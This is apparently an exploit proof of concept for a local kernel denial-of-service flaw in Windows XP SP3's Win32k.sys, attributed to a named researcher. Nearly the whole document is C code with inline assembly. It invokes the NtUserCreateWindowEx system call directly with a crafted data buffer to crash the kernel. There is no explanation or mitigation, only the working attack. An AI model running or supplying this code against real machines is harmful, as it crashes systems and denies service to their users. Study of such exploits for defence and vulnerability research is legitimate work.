Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability

////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
// Author: Lufeng Li of Neusoft Corporation
// Vendor: www.microsoft.com
// Vulnerable: Windows xp sp3(full patch)
//
/////////////////////////////////////////////////////////////////////////////

#include <Windows.h>
#include <stdio.h>

void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
{
 _asm{
  xor eax,eax
  push eax
  push eax
      push eax
      push eax
      push eax
      push eax
      push eax
  push eax
  push eax
      push eax
      push eax
      push eax
      push d3
      push d2
  push d1
  push eax
  mov eax,0x1157
  mov edx,7FFE0300h
  call  dword ptr[edx]
  ret 0x3c
 }
}
void main()
{
 UINT i=0;
 UINT c[]={ 
 0x00000000,0x28001500,0xff7c98cc,0x23ffffff
,0x167c98cc,0x007c98fb,0x02001500,0x78010000
,0x00000000,0x00001500,0x00000000,0x00001500
,0x00000000,0x00001500,0x00000000,0x00000000
,0x00000000,0x00000000,0x34000000,0x3cc00000
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
,0x00000000,0x18000000,0x000007fb,0xf8000000
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
 };
  HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
        "magic",
        "magic",
        WS_POPUP,
        100,
        100,
        100,
        100,
        0,
        0,
        GetModuleHandle( 0 ),
        0);
 NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
}